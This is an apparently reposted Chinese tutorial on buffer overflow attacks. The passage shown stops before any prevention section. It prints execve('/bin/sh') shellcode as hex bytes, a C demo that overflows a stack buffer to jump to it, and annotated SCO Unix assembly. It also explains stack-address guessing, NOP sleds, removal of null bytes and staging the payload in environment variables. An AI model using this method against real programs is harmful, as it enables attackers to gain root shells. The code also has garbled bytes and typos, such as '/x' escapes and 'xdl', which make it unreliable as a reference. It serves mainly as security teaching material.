缓冲区溢出攻击的分析及防范策略
“/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00”
“/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80”
“/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xdl/xff/xff”
“/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3”
事例程序如下:
/ test /
char shellcode[]=
{“/xeb/x2a/x5e/x89/x76/x08/xc6/x46/x07/x00/xc7/x46/x0c/x00/x00/x00”
“/x00/xb8/x0b/x00/x00/x00/x89/xf3/x8d/x4e/x08/x8d/x56/x0c/xcd/x80”
“/xb8/x01/x00/x00/x00/xbb/x00/x00/x00/x00/xcd/x80/xe8/xdl/xff/xff”
“/xff/x2f/x62/x69/x6e/x2f/x73/x68/x00/x89/xec/x5d/xc3”};
void f(char *src)
{
char dest[4];
memcpy(dest,src,12);
}
void main()
{
int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);
}
由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。
这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:
(1) 启动一个一个Shell的代码——Shellcode的获得
通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:
shellcode.c
#include<stdio.h>
void main()
{
char *name[2];
name[0]=”bin/sh”;
name[1]=NULL;
execve(name[0],name,NULL);
exit(0);
}
把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。
这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。
Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。
SCO Unix下的Shellcode的汇编代码如下:
Jmp 0x2a # 3 bytes # 跳到CALL指令处
Popl %esi # 1 byte # 把由CALL指令压入堆栈的串 # 地址送到esi
movl %esi, 0x8(%esi) # 3 bytes
movb $0x0, 0x7(%esi) # 4 bytes
movl $0x0, 0xc(%esi) # 7 bytes
movl $0xb, %eax # 5 bytes
movl %esi, %ebx # 2 bytes # 执行execve(name[0],name,NULL);
leal 0x8(%esi) , %ecx # 3 bytes
leal 0xc(%esi) , %edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1,%eax # 5 bytes #执行exit(0)
movl $0x0,%ebx # 5 bytes
int $0x80 # 2 bytes
call –0x2f # 5 bytes #跳到popl %esi指令处
.string /”/bin/sh”/ # 8 bytes
利用gdb的x命令可以得到上述汇编代码的二进制代码。
(2) 猜测被溢出的缓冲区的位置
有了shellcode还不够,在溢出一个缓冲区时,还必须使被溢出的返回地址正确指向shellcode。在Unix环境下,当我们去溢出另外一个程序的没有边界检查的buffer时,通常只会得到一个Segmentation fault(段错误),程序退出,再没有其他信息。这就是由于返回地址不正确引起的。
为了正确获得溢出的缓冲区在堆栈的位置,所以需要推测shellcode的起始位置,即被溢出的缓冲区buffer的位置。Unix环境下,每个进程启动时的初始堆栈的虚存位置时一样的。利用下面的程序可以近似的得到这个位置(在环境变量不同、传入的命令行参数不同时,这个值略有变动):
unsigned long get_esp(void)
{
_asm_(“movl %esp,%eax”);
}
void main(void)
{
printf(“0x%x/n”,get_esp());
}
通常,进程运行时向堆栈中写入的数据不会超过数百个字节或数千个字节,有了这个起始地址,用简单的一个个尝试的方法也是可以攻击的。但显然这不是一种效率高的方法。解决的办法是在缓冲区前端填充几百字节NOP指令,只要猜测的地址落在NOP指令序列中,仍可以执行shellcode,从而成倍地增加猜中的机会。
(3) 攻击代码中字节代码为零的消除
Unix的程序中大量使用了strcpy函数,shellcode中含有0x00,由于通常是攻击一个字符缓冲区,如果攻击代码中含有0,则它会被当成字符串的结尾处理,于是攻击代码被截断。消除的方法是对代码做适当的变换,因此在这里需要使用一些汇编程序设计技巧,把shellcode转换成不含0x00的等价代码。
(4)被攻击的缓冲区很小的情况
当缓冲区太小,可能使NOP部分或shellcode部分覆盖返回地址ret,导致缓冲区起址到返回地址的距离不足以容纳shellcode,这样设定的跳转地址就没有用上,攻击代码不能被正确执行。
一个方法就是利用环境变量。当一个进程启动时,环境变量被映射到进程堆栈空间的顶端。这样就可以把攻击代码(NOP串+Shellcode)放到一个环境变两中,而在被溢出的缓冲区中填上攻击代码的地址。比如,可以把shellcode放在环境变量中,并把环境变量传入到要攻击的程序中,就可以对有缓冲区溢出漏洞的程序进行攻击。利用这样方法,还可以设计很大的攻击代码。
2.2缓冲区溢出攻击的类型
缓冲区溢出的目的在于扰乱具有某些特权运行程序的功能,这样就可以让攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机甚至服务器就被控制了。一般而言,攻击者攻击root程序,然后执行类似“exec(sh)”的执行代码来获得root的shell。但并不总是这样,为了达到这个目的,攻击者必须达到如下两个目标:
l 在程序的地址空间里安排适当的代码
l 通过适当地初始化寄存器和存储器,让程序跳转到安排好的地址空间执行。
我们可以根据这两个目标来对缓冲区溢出攻击进行分类。
1.在程序的地址空间里安排适当的代码有两种在被攻击程序地址空间里安排攻击代码的方法:
Tags:
作者:佚名评论内容只代表网友观点,与本站立场无关!
评论摘要(共 0 条,得分 0 分,平均 0 分)
查看完整评论